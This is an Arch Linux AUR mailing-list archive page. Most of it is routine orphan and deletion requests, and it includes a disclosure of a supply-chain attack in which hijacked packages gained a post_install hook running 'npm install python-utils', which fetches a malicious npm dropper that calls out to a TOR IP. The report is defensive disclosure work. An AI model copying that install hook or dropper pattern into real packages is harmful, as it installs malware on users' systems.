May 2026 - Aur-requests - lists.archlinux.org

[PRQ#82040] Orphan Request for perl-app-cpm
by notify＠aur.archlinux.org 25 May '26

25 May '26

ryoskzypu [1] filed an orphan request for perl-app-cpm [2]: ood since 2025-11-24 [1] https://aur.archlinux.org/account/ryoskzypu/ [2] https://aur.archlinux.org/pkgbase/perl-app-cpm/

1 1

[PRQ#82039] Orphan Request for chromium-ectool
by notify＠aur.archlinux.org 25 May '26

25 May '26

ryanbarillos [1] filed an orphan request for chromium-ectool [2]: Package has remained unmaintained for 6+ months. I need to take ownership of this package for immediate use on my Chromebook. [1] https://aur.archlinux.org/account/ryanbarillos/ [2] https://aur.archlinux.org/pkgbase/chromium-ectool/

1 0

[PRQ#82038] Orphan Request for python-scikit-fuzzy
by notify＠aur.archlinux.org 25 May '26

25 May '26

carlosal1015 [1] filed an orphan request for python-scikit-fuzzy [2]: Out of date more than 1 year ago. [1] https://aur.archlinux.org/account/carlosal1015/ [2] https://aur.archlinux.org/pkgbase/python-scikit-fuzzy/

1 1

[PRQ#82037] Deletion Request for intiface-desktop-bin
by notify＠aur.archlinux.org 24 May '26

24 May '26

silverhikari [1] filed a deletion request for intiface-desktop-bin [2]: this project was originally kept for any program that still required it after it was replaced by central. with intiface central being out for a while now and most programs updated to use it or dead, it can be removed. [1] https://aur.archlinux.org/account/silverhikari/ [2] https://aur.archlinux.org/pkgbase/intiface-desktop-bin/

1 1

[PRQ#82036] Deletion Request for mod_python Accepted
by notify＠aur.archlinux.org 24 May '26

24 May '26

Request #82036 has been Accepted by Muflone [1]: previously deleted [1] https://aur.archlinux.org/account/Muflone/

1 0

Malicious AUR packages spreading Shai Hulud malware
by Fariss, Soufiane 24 May '26

24 May '26

Hi Arch Team, Flagging an active coordinated supply-chain attack against the AUR observed on 2026-05-16 / 2026-05-17. Three packages were adopted by three single-package burner accounts using @onionmail.org addresses, and the very first commit on each pushed an identical payload. Hijacked packages and adopters AUR Package Adopter Email mod_python Arthur Nicolas arthurnicolas(a)onionmail.org nss-hg Raphael David raphaeldavid(a)onionmail.org multibootusb Francis Martin francismartin(a)onionmail.org Common payload Added to / inserted in each package's .install scriptlet: post_install() { cd /tmp npm install python-utils } Each PKGBUILD also gained a new depends=('npm') to make sure the npm binary is present at install time. Dropper The npm package python-utils@0.2.26, published on 2026-05-16 by generaltranslations <ated.get.he.m(a)gmail.com> (impersonating the legitimate generaltranslation/gt org on GitHub, which actually publishes python-extractor, not python-utils), declares: "preinstall": "./dist/typecheck.js" in its package.json. That file is not JavaScript — it is a UPX-packed, statically-linked Linux x86-64 ELF executable, ~5.2 MB. * SHA-256: cafebcfe50f4d6ed218f4525f44b81654bf2df4ebb06918984b4257940d4fd5b * Strings include a hardcoded callout endpoint 207.90.194.2:443 which is a TOR exit. Best Regards, Soufiane Fariss sfariss(a)amazon.com<mailto:sfariss@amazon.com>

3 2

[PRQ#82029] Deletion Request for gimp-plugin-normalmap
by notify＠aur.archlinux.org 24 May '26

24 May '26

selebray1998 [1] filed a deletion request for gimp-plugin-normalmap [2]: This package is superseded by GIMP 3.2's Normal Map filter. [1] https://aur.archlinux.org/account/selebray1998/ [2] https://aur.archlinux.org/pkgbase/gimp-plugin-normalmap/

1 1

[PRQ#82035] Deletion Request for tonkeeper-wallet-bin Accepted
by notify＠aur.archlinux.org 24 May '26

24 May '26

Request #82035 has been Accepted by hcartiaux [1]: compromised package [1] https://aur.archlinux.org/account/hcartiaux/

1 0

[PRQ#82034] Deletion Request for solflare-wallet-bin Accepted
by notify＠aur.archlinux.org 24 May '26

24 May '26

Request #82034 has been Accepted by hcartiaux [1]: compromised package [1] https://aur.archlinux.org/account/hcartiaux/

1 0

[PRQ#82033] Deletion Request for phantom-wallet-bin Accepted
by notify＠aur.archlinux.org 24 May '26

24 May '26

Request #82033 has been Accepted by hcartiaux [1]: compromised package [1] https://aur.archlinux.org/account/hcartiaux/

1 0